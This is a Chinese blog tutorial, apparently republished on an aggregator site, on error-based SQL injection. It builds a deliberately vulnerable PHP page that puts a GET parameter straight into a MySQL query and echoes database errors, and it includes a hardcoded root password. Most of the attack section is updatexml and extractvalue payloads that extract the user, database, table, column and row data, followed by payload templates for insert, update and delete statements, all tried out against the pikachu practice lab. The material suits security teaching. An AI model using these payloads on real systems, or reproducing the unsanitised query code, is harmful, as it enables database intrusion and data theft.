Error注入攻击

news2025/2/23 13:16:50

💪💪Error注入攻击

  • 1.创建漏洞环境
  • 2.漏洞攻击
      • 2.1判断是否有注入
      • 2.2信息收集
      • 2.3注入获取数据库名
      • 2.4注入获取表名
      • 2.5注入获取列名
      • 2.6注入获取信息
  • 3.sql靶场实战


1.创建漏洞环境

💪💪第一步创建sql环境,直接再mysql下运行

use loophole;
create table sql_test(
    id int auto_increment,
    primary key (id),
    username char(10),
    address char(20)
);
insert into sql_test values (1,'admin1','hubei'),(2,'mozhe','beijin'),(3,'admin','hubei'),(4,'yk','ensi');

⚠️⚠️第二步直接运行如下代码,其中连接数据库的用户名和密码必须换成自己的数据库的

<?php
echo "<h1>Error注入,让sql语句为真,让后面语句进行报错(报出有用信息)</h1>";
$con = mysqli_connect("localhost","root","901026yk","loophole");
if(mysqli_connect_error())
{
    echo "连接错误" . mysqli_connect_error();
}
$username = $_GET['username']; 
$result = mysqli_query($con,"select * from sql_test where id='" . $username ."'"); 
if($result)
{
    echo 'OK';
}
else
{
   echo mysqli_error($con);
}
 
}

2.漏洞攻击

2.1判断是否有注入

⚠️⚠️方法1:判断是否有注入还是?id=1,加标点符号和注释符--+,让前面为真,再加上and 1=1和and 1=2,原因如下:

  • 如果我写在网站后面输入?id=1,sql语句执行如下:select * from user where id = 1;我们知道and运算符,必须两边为真才为真,假设我们输入?id=1 and 1=1,sql语句执行如下:
  • select * from user where id = 1 and 1= 1;,这条语句会被执行,并且结果为真,页面会出现变化,如果我们输入?id=1 and 1=2,sql语句执行如下:
  • select * from user where id = 1 and 1= 2这条语句会被执行,并且结果为假,页面不会出现变化 存在注入说明我输入的语句会被执行,如果不存在注入,不管sql语句是否为真,都不会执行

⚠️⚠️方法2:直接slqmap扫描,sqlmap -u 网址

2.2信息收集

Error注入攻击的原理是,sql语句执行成功就显示成功,但是不显示执行结果,执行失败就显示错误代码,这样我们就可以让前面的sql语句执行为真,拼接updatexml()语句,让updatexml执行错误,报错出现有用信息,updatexml(XML_document, XPath_string, new_value)使用方法:

  • 第一个参数:XML_document是String格式,为XML文档对象的名称
  • 第二个参数:XPath_string (Xpath格式的字符串)
  • 第三个参数:new_value,String格式,替换查找到的符合条件的数据

💎💎 concat():用来拼接字符串

请添加图片描述

  • http://localhost:3000/SQL/Error.php?username=1' and updatexml(1,concat(0x7e,(select user()),0x7e),1) --+

  • http://localhost:3000/SQL/Error.php?username=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1) --+

2.3注入获取数据库名

请添加图片描述

2.4注入获取表名

  • http://localhost:3000/SQL/Error.php?username=1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='loophole' limit 0,1),0x7e),1) --+

请添加图片描述

2.5注入获取列名

⚠️⚠️通过limit的截取位置获取不同的信息

  • http://localhost:3000/SQL/Error.php?username=1' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='loophole' and table_name='sql_test' limit 0,1),0x7e),1) --+
    请添加图片描述

2.6注入获取信息

  • http://localhost:3000/SQL/Error.php?username=1' and updatexml(1,concat(0x7e,(select username from loophole.sql_test limit 1,1),0x7e),1) --+
    请添加图片描述

3.sql靶场实战

在进行靶场实战的时候,我们必须搞清楚什么地方会出现注入?,什么地方会出现什么类型的注入?,如下是解释:

  • select查询数据
    在网站应用中进行数据显示查询操作
    例: select * from news where id=$id

如下是只能够进行报错注入的地方,原因跟数据注入的地方有关,insert 注入在括号内,也没有条件判断(and length(database())>10),delete注入在条件处,但是为真就直接删除了,updateinsert原因差不多

  • insert插入数据
    在网站应用中进行用户注册添加等操作
    例: insert into news (id, url, text) values (2, 'x','$t')

常用注入语句:
’ or updatexml(1,concat(0x7e,(database())),0) or '(字符型)
’ or extractvalue(1,concat(0x5e24,(database()))) or '(数字型)

  • delete删除数据
    后台管理里面删除文章删除用户等操作
    例: delete from news where id=$id

常用注入语句:
or or updatexml(1,concat(0x7e,(database())),0) or ’ ’
or extractvalue(1,concat(0x5e24,(database()))) or ’ ’
‘or(有效载荷)or’
‘and(有效载荷)and’
‘or(有效载荷)and’
‘or(有效载荷)and’=’
(有效载荷)
‘or(有效载荷)and’
" - (有效载荷) - "

  • update更新数据
    会员或后台中心数据同步或缓存等操作
    例: update user set pwd='$p' where id=2 and username= 'admin'

常用注入语句:aaaa’ or updatexml(1, concat(0x7e, database()),0) or '(字符型)
'or extractvalue(1,concat(0x5e24,(database()))) or '(数字型)

重点理解:
我们可以通过以上查询方式与网站应用的关系,注入点产生地方或应用猜测到对方的SQL查询方式

如下以pikachu靶场为例:

' or updatexml(1,concat(0x7e,(database()),0x7e),1) or ' 改变database()就可以获取其他值
 ' or updatexml(1,concat(0x7e,(select count(table_name) from information_schema.tables where table_schema='pikachu'),0x7e),1) or '
 ' or updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu' limit 1,1),0x7e),1) or '
  ' or updatexml(1,concat(0x7e,(select count(column_name) from information_schema.columns where table_schema='pikachu' and table_name='member'),0x7e),1) or '
 ' or updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='pikachu' and table_name='member' limit 1,1),0x7e),1) or '
  ' or updatexml(1,concat(0x7e,(select id from pikachu.member limit 1,1),0x7e),1) or '

' or updatexml(1,concat(0x7e,(database()),0x7e),1) or ' 改变database()就可以获取其他值,先看题目信息:如下,猜测可能是insert
请添加图片描述

' or updatexml(1,concat(0x7e,(database()),0x7e),1) or ' 改变database()就可以获取其他值,
请添加图片描述

' or updatexml(1,concat(0x7e,(select count(table_name) from information_schema.tables where table_schema='pikachu'),0x7e),1) or ',其实只需要改变 updatexml这个中的值就可以了
请添加图片描述

' or updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu' limit 1,1),0x7e),1) or '
请添加图片描述

' or updatexml(1,concat(0x7e,(select count(column_name) from information_schema.columns where table_schema='pikachu' and table_name='member'),0x7e),1) or '
请添加图片描述

' or updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='pikachu' and table_name='member' limit 1,1),0x7e),1) or '
请添加图片描述

' or updatexml(1,concat(0x7e,(select id from pikachu.member limit 1,1),0x7e),1) or '
请添加图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2861.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Flutter——软件安装与环境配置

Flutter入门官网Flutter SDK下载创建Flutter项目在ios上运行第一个Flutter项目效果图代码总结官网 Flutter开发手册网址如下 Flutter SDK下载 下载地址 第一步&#xff1a;进入官网&#xff0c;选择自己相对应的系统 第二步&#xff1a;选择对应版本SDK并下载到本地 创建Flu…

electron调用dll文件

Electron 对系统层能力的使用可能比较弱&#xff0c;此时需要求助 Python、C、C# 等语言&#xff0c;通过 ffi-napi 库可以让 Node.js 使用 C dll&#xff0c;通过 electron-edge-js 库可以让 Node.js 使用 C# dll 1. 先确定dll文件是用什么语言写的. 使用peid 应用查看- 这个…

【Transformers】第 2 章:主题的实践介绍

&#x1f50e;大家好&#xff0c;我是Sonhhxg_柒&#xff0c;希望你看完之后&#xff0c;能对你有所帮助&#xff0c;不足请指正&#xff01;共同学习交流&#x1f50e; &#x1f4dd;个人主页&#xff0d;Sonhhxg_柒的博客_CSDN博客 &#x1f4c3; &#x1f381;欢迎各位→点赞…

Node.js | 基于 MongoDB 的简易用户管理系统

&#x1f5a5;️ NodeJS专栏&#xff1a;Node.js从入门到精通 &#x1f5a5;️ 博主的前端之路&#xff08;源创征文一等奖作品&#xff09;&#xff1a;前端之行&#xff0c;任重道远&#xff08;来自大三学长的万字自述&#xff09; &#x1f5a5;️ TypeScript知识总结&…

C++秋招经验贴

文章目录一、个人背景及秋招情况1.个人背景2.秋招情况二、求职C强相关开发岗位的准备过程以及一些建议1. 八股2. 力扣刷题3. 实习4. 项目三、总结一、个人背景及秋招情况 1.个人背景 本科&#xff1a;二本&#xff0c;材料专业   硕士&#xff1a;211硕&#xff0c;光学工程…

TI IWR1642毫米波雷达使用串口原始数据采集与分析

本文编辑&#xff1a;调皮哥的小助理 1.引言 如果文章能够给你带来价值&#xff0c;希望能够关注我。 如果文章能够让你学习到知识&#xff0c;希望你能够点个赞&#xff01; 好了下面开始今天的学习内容吧。 今天给大家分享的是 《TI 的IWR1642毫米波雷达使用串口原始数据…

深度学习入门(十五)环境和分布偏移(了解)

深度学习入门&#xff08;十五&#xff09;环境和分布偏移前言环境和分布偏移教材1 分布偏移的类型1.1 协变量偏移1.2 标签偏移1.3 概念偏移2 分布偏移示例2.1医学诊断2.2 自动驾驶汽车2.3 非平稳分布2.4 更多轶事3 分布偏移纠正3.1 经验风险与实际风险3.2 协变量偏移纠正3.3 标…

MATLAB | 一起来感受数学之美叭

前两天去观摩了MATHWORKS官方举办的Mathematics is beautiful数学之美投票比赛&#xff0c;见到了很多非常惊艳的作品&#xff0c;在这里分享给大家让大家一同感受大神们的创造力&#xff0c;接下来由我来做全程解说。 虽然看起来代码都写好了&#xff0c;&#xff0c;&#x…

程序员眼中看到的网页是如何制作出来的?

一、认识网页 在学习之初&#xff0c;我们需要认识一下网页的概念&#xff0c;因为网页与我们的 html是息息相关的。 那么接下来我们来看一下&#xff0c;我们经常去通过浏览器查看的网页&#xff0c;它的本质是什么&#xff1f;在此我们需要去做一个对比。我们眼中看到的网页…

聚类算法概要及相关知识准备

聚类的概念 聚类分析是在数据中发现数据对象之间的关系&#xff0c;将数据进行分组&#xff0c;组内的相似性越大&#xff0c;组间的差别越大&#xff0c;则聚类效果越好。 将物理或抽象对象的集合分成由类似对象组成的多个类或簇&#xff08;cluster&#xff09;的过程被称为…

SpringBoot+Vue的社区疫情防控管理系统|基于Python+Django的社区物资采购系统

&#x1f496;&#x1f496;作者&#xff1a;IT跃迁谷毕设展 &#x1f499;&#x1f499;个人简介&#xff1a;曾长期从事计算机专业培训教学&#xff0c;本人也热爱上课教学&#xff0c;语言擅长Java、微信小程序、Python、Golang、安卓Android等。平常会做一些项目定制化开发…

Cookie使用详解

Cookie使用详解 目录Cookie使用详解理论知识前言创建Cookiecookie 的属性介绍name 、valuedomainpathExpires 、Max-AgeSameSiteSecure&#xff0c;HttpOnlyCookie与跨域、安全知识点小结实践相关配置修改代码实践实验过程记录其它小结理论知识 前言 HTTP Cookie&#xff08;…

使用Charles和iPhone进行微信小程序抓包详解

基于工作原因&#xff0c;需要对一款微信小程序进行测试。本次任务是纯黑盒方式&#xff0c;所以只有通过抓包的方式找到接口及参数列表&#xff0c;再逐一进行功能和性能测试。 一、使用工具 网络抓包工具&#xff1a;Charles 设备&#xff1a;iPhone6s&#xff0c;iPhone1…

数据分析 | Pandas 200道练习题,每日10道题,学完必成大神(8)

文章目录前期准备1. 将收盘价5日均线&#xff0c;20日均线与原始数据绘制在同一个图上2. 按周为采样规则&#xff0c;取一周收盘价的最大值3. 绘重制采样数据与原始数据4. 将数据往后移动5天、5. 将数据向前移动5天6. 使用expending函数计算开盘价的移动窗口的均值7. 绘制上一题…

牛客刷题系列(汽水瓶,跳台阶扩展问题,斐波那契凤尾)

牛客刷题系列一&#xff1a;汽水瓶题目链接常规写法简便写法二.跳台阶扩展问题三&#xff1a;斐波那契凤尾很多小伙伴为了刷题发愁 今天为大家推荐一款刷题神奇哦&#xff1a;刷题面试神器牛客 各大互联网大厂面试真题。从基础到入阶乃至原理刨析类面试题 应有尽有&#xff0c;…

云IDE介绍——CSDN开发云

云IDE产品介绍云IDE使用教程 免费使用地址&#xff1a;点击【云IDE】&#xff0c;即可开始创建工作空间啦~ 作者简介&#xff1a;一名在校云计算网络运维学生、每天分享网络运维的学习经验、和学习笔记。 座右铭&#xff1a;低头赶路&#xff0c;敬事如仪 个人主页&#xf…

【学习笔记之数据结构】时间复杂度与空间复杂度

一、算法效率 算法在编写成可执行程序后&#xff0c;运行时需要耗费时间资源和空间&#xff08;内存&#xff09;资源。因此衡量一个算法的好坏&#xff0c;一般是从时间和空间两个维度来衡量的&#xff0c;即时间复杂度和空间复杂度。   时间复杂度主要衡量一个算法的运行快…

2022年音视频面试题 C/C++/Linux/FFmpeg/webRTC/rtmp/hls/rtsp/ffplay/srs

1&#xff09;OpenGL 是按照什么架构设计的&#xff1f; OpenGL 的渲染架构是 Client/Server 模式&#xff1a;Client&#xff08;客户端&#xff09;指的是我们在 CPU 上运行的一些代码&#xff0c;比如我们会编写 OC/C/Java 代码调用 OpenGL 的一些 API&#xff1b;而 Server…

mybatis学习(1)

使用mybatis也是有一段时间了&#xff0c;但是一直没有系统了解和学习&#xff0c;最近正好有空&#xff0c;索性花点时间熟悉下。 为什么是mybatis&#xff1f; 了解mybatis之前&#xff0c;需要知道什么是"数据库持久层"&#xff0c;我的理解&#xff0c;就是将数…

Decoder与Encoder重要组件

Decoder与Encoder重要组件 大家知道&#xff0c;Netty从底层Java通道读到ByteBuf二进制数据&#xff0c;传入Netty通道的流水线&#xff0c;随后开始入站处理。在入站处理过程中&#xff0c;需要将ByteBuf二进制类型&#xff0c;解码成Java POJO对象。这个解码过程&#xff0c…